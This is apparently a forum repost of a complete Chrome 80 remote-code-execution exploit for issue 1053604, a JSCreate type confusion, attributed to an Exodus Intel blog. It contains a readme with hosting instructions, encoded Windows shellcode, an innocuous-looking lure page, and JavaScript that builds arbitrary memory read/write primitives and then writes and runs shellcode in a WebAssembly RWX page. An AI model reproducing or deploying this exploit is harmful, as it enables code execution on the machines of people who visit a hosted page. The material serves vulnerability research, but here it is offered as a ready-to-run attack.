Пожалуйста, обратите внимание, что пользователь заблокирован
readme
shellcode.js
exploit.html
exploit.js
Источник https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping/
# Chrome Issue 1053604 JSCreate Side-Effect Type Confusion RCE Exploit
This script exploits a type confusion issue in Google Chrome. Tested on Windows 10 x64, Chrome version 80.0.3987.116.
* Start chrome with the --no-sandbox argument
* Running the exploit requires hosting the contents of this directory and visiting `exp.html` in Chrome. Shellcode can be replaced by modifying the `shellcode.js` file. Currently shellcode length is limited to 4KiB.
shellcode.js
JavaScript:
shellcode = unescape("%u48fc%ue483%ue8f0%u00c0%u0000%u5141%u5041%u5152%u4856%ud231%u4865%u528b%u4860%u528b%u4818%u528b%u4820%u728b%u4850%ub70f%u4a4a%u314d%u48c9%uc031%u3cac%u7c61%u2c02%u4120%uc9c1%u410d%uc101%uede2%u4152%u4851%u528b%u8b20%u3c42%u0148%u8bd0%u8880%u0000%u4800%uc085%u6774%u0148%u50d0%u488b%u4418%u408b%u4920%ud001%u56e3%uff48%u41c9%u348b%u4888%ud601%u314d%u48c9%uc031%u41ac%uc9c1%u410d%uc101%ue038%uf175%u034c%u244c%u4508%ud139%ud875%u4458%u408b%u4924%ud001%u4166%u0c8b%u4448%u408b%u491c%ud001%u8b41%u8804%u0148%u41d0%u4158%u5e58%u5a59%u5841%u5941%u5a41%u8348%u20ec%u5241%ue0ff%u4158%u5a59%u8b48%ue912%uff57%uffff%u485d%u01ba%u0000%u0000%u0000%u4800%u8d8d%u0101%u0000%uba41%u8b31%u876f%ud5ff%uf0bb%ua2b5%u4156%ua6ba%ubd95%uff9d%u48d5%uc483%u3c28%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5900%u8941%uffda%u63d5%u6c61%u2e63%u7865%u0065");
exploit.html
HTML:
<html>
<body>
Hello, there! Hope you have a nice day!
<script src="shellcode.js">
</script>
<script src="exploit.js">
</script>
</body>
</html>
exploit.js
JavaScript:
// HELPER FUNCTIONS
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
BigInt.prototype.smi2f = function() {
int_view[0] = this << 32n;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
Number.prototype.f2smi = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}
Number.prototype.fhw = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}
Number.prototype.flw = function() {
float_view[0] = this;
return int_view[0] & BigInt(2**32-1);
}
Number.prototype.i2f = function() {
return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
return BigInt(this).smi2f();
}
function hex(a) {
return a.toString(16);
}
//
// EXPLOIT
//
// the number of holes here determines the OOB write offset
let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
var float_rel; // float array, initially corruption target
var float_carw; // float array, used for reads/writes within the compressed heap
var uint64_aarw; // uint64 typed array, used for absolute reads/writes in the entire address space
var obj_leaker; // used to implement addrof
vuln.pop();
vuln.pop();
vuln.pop();
function empty() {}
function f(nt) {
// The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug
vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);
for (var i = 0; i < 0x10000; ++i) {};
}
let p = new Proxy(Object, {
get: function() {
vuln[0] = {};
float_rel = [0.2, 1.2, 2.2, 3.2, 4.3];
float_carw = [6.6];
uint64_aarw = new BigUint64Array(4);
obj_leaker = {
a: float_rel,
b: float_rel,
};
return Object.prototype;
}
});
function main(o) {
for (var i = 0; i < 0x10000; ++i) {};
return f(o);
}
// reads 4 bytes from the compressed heap at the specified dword offset after float_rel
function crel_read4(offset) {
qw_offset = Math.floor(offset / 2);
if (offset & 1 == 1) {
return float_rel[qw_offset].fhw();
} else {
return float_rel[qw_offset].flw();
}
}
// writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel
function crel_write4(offset, val) {
qw_offset = Math.floor(offset / 2);
// we are writing an 8-byte double under the hood
// read out the other half and keep its value
if (offset & 1 == 1) {
temp = float_rel[qw_offset].flw();
new_val = (val << 32n | temp).i2f();
float_rel[qw_offset] = new_val;
} else {
temp = float_rel[qw_offset].fhw();
new_val = (temp << 32n | val).i2f();
float_rel[qw_offset] = new_val;
}
}
const float_carw_elements_offset = 0x14;
function cabs_read4(caddr) {
elements_addr = caddr - 8n | 1n;
crel_write4(float_carw_elements_offset, elements_addr);
console.log('cabs_read4: ', hex(float_carw[0].f2i()));
res = float_carw[0].flw();
// TODO restore elements ptr
return res;
}
// This function provides arbitrary within read the compressed heap
function cabs_read8(caddr) {
elements_addr = caddr - 8n | 1n;
crel_write4(float_carw_elements_offset, elements_addr);
console.log('cabs_read8: ', hex(float_carw[0].f2i()));
res = float_carw[0].f2i();
// TODO restore elements ptr
return res;
}
// This function provides arbitrary write within the compressed heap
function cabs_write4(caddr, val) {
elements_addr = caddr - 8n | 1n;
temp = cabs_read4(caddr + 4n | 1n);
console.log('cabs_write4 temp: ', hex(temp));
new_val = (temp << 32n | val).i2f();
crel_write4(float_carw_elements_offset, elements_addr);
console.log('cabs_write4 prev_val: ', hex(float_carw[0].f2i()));
float_carw[0] = new_val;
// TODO restore elements ptr
return res;
}
const objleaker_offset = 0x41;
function addrof(o) {
obj_leaker.b = o;
addr = crel_read4(objleaker_offset) & BigInt(2**32-2);
obj_leaker.b = {};
return addr;
}
const uint64_externalptr_offset = 0x1b; // in 8-bytes
// Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array
function read8(addr) {
faddr = addr.i2f();
t1 = float_rel[uint64_externalptr_offset];
t2 = float_rel[uint64_externalptr_offset + 1];
float_rel[uint64_externalptr_offset] = faddr;
float_rel[uint64_externalptr_offset + 1] = 0.0;
val = uint64_aarw[0];
float_rel[uint64_externalptr_offset] = t1;
float_rel[uint64_externalptr_offset + 1] = t2;
return val;
}
// Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array
function write8(addr, val) {
faddr = addr.i2f();
t1 = float_rel[uint64_externalptr_offset];
t2 = float_rel[uint64_externalptr_offset + 1];
float_rel[uint64_externalptr_offset] = faddr;
float_rel[uint64_externalptr_offset + 1] = 0.0;
uint64_aarw[0] = val;
float_rel[uint64_externalptr_offset] = t1;
float_rel[uint64_externalptr_offset + 1] = t2;
return val;
}
// Given an array of bigints, this will write all the elements to the address provided as argument
function writeShellcode(addr, sc) {
faddr = addr.i2f();
t1 = float_rel[uint64_externalptr_offset];
t2 = float_rel[uint64_externalptr_offset + 1];
float_rel[uint64_externalptr_offset - 1] = 10;
float_rel[uint64_externalptr_offset] = faddr;
float_rel[uint64_externalptr_offset + 1] = 0.0;
for (var i = 0; i < sc.length; ++i) {
uint64_aarw[i] = sc[i]
}
float_rel[uint64_externalptr_offset] = t1;
float_rel[uint64_externalptr_offset + 1] = t2;
}
function get_compressed_rw() {
for (var i = 0; i < 0x10000; ++i) {empty();}
main(empty);
main(empty);
// Function would be jit compiled now.
main(p);
console.log(`Corrupted length of float_rel array = ${float_rel.length}\n`);
}
function get_arw() {
get_compressed_rw();
console.log('should be 0x2: ' + hex(crel_read4(0x15)));
let previous_elements = crel_read4(0x14);
console.log(hex(previous_elements));
console.log(hex(cabs_read4(previous_elements)));
console.log(hex(cabs_read4(previous_elements + 4n)));
cabs_write4(previous_elements, 0x66554433n);
console.log(hex(cabs_read4(previous_elements)));
console.log(hex(cabs_read4(previous_elements + 4n)));
console.log('addrof(float_rel): ' + hex(addrof(float_rel)));
uint64_aarw[0] = 0x4142434445464748n;
}
function rce() {
function get_wasm_func() {
var importObject = {
imports: { imported_func: arg => console.log(arg) }
};
bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
wasm_code = new Uint8Array(bc);
wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
return wasm_mod.exports.exported_func;
}
let wasm_func = get_wasm_func();
wfunc = wasm_func;
// traverse the JSFunction object chain to find the RWX WebAssembly code page
let wasm_func_addr = addrof(wasm_func);
let sfi = cabs_read4(wasm_func_addr + 12n) - 1n;
console.log('sfi: ' + hex(sfi));
let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n;
console.log('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData));
let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n;
console.log('instance: ' + hex(instance));
let rwx_addr = cabs_read8(instance + 0x68n);
console.log('rwx_addr: ' + hex(rwx_addr));
// write the shellcode to the RWX page
while(shellcode.length % 4 != 0){
shellcode += "\u9090";
}
let sc = [];
// convert the shellcode to BigInt
for (let i = 0; i < shellcode.length; i += 4) {
sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000));
}
writeShellcode(rwx_addr,sc);
console.log('success');
wfunc();
}
function exp() {
get_arw();
rce();
}
exp();
Источник https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping/